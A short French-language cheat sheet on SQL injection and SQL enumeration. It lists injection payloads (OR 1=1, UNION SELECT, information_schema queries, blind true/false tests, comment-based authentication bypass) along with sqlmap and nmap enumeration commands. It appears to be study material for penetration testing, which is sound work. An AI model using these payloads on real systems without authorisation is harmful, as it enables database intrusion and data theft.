SQL

Énumération SQL - Cheatsheet

1. Injection SQL de base :

   • ' OR 1=1-- : Injection SQL basique pour récupérer toutes les entrées d'une requête (en commentant le reste de la requête).

   • ' UNION SELECT 1,2,3-- : Injection UNION pour extraire des données spécifiques.

2. Test des vulnérabilités d'injection SQL :

   • sqlmap -u <URL> : Détecter et exploiter les vulnérabilités d'injection SQL.

   • sqlmap -r <fichier> : Utiliser un fichier de requête pour l'injection SQL.

3. Extraction d'informations :

   • UNION SELECT : Utiliser UNION SELECT pour extraire des données d'autres tables ou colonnes.

   • VERSION() : Extraire la version de la base de données.

   • DATABASE() : Extraire le nom de la base de données courante.

4. Enumération des tables et des colonnes :

   • ' UNION SELECT table_name,1,1 FROM information_schema.tables-- : Enumérer les noms de tables.

   • ' UNION SELECT column_name,1,1 FROM information_schema.columns WHERE table_name='<table>'-- : Enumérer les noms de colonnes pour une table spécifique.

5. Récupération des données :

   • ' UNION SELECT <colonne>,<colonne>,... FROM <table>-- : Récupérer les données d'une table spécifique.

6. Requêtes aveugles (blind SQL injection) :

   • ' AND 1=1--: Injection aveugle pour vérifier une condition vraie.

   • ' AND 1=2-- : Injection aveugle pour vérifier une condition fausse.

7. Contournement d'authentification :

   • Suppression de LIMIT : Supprimer LIMIT pour afficher plus d'entrées dans une liste d'utilisateurs.

   • Utilisation de commentaires : Utiliser /* et */ pour commenter une partie de la requête et contourner les vérifications d'authentification.

8. Énumération des utilisateurs :

   • ' UNION SELECT user(),1,1-- : Afficher le nom de l'utilisateur courant.

9. Fuzzing de paramètres :

   • Utiliser des valeurs incorrectes pour les paramètres afin de générer des erreurs SQL et identifier les points d'injection.

10. Scripts Nmap pour l'énumération SQL :

    • nmap -p 1433 --script ms-sql-info <cible> : Découvrir les informations spécifiques aux bases de données SQL Server (port 1433).

    • nmap -p 3306 --script mysql-databases,mysql-users <cible> : Enumérer les bases de données et les utilisateurs MySQL (port 3306).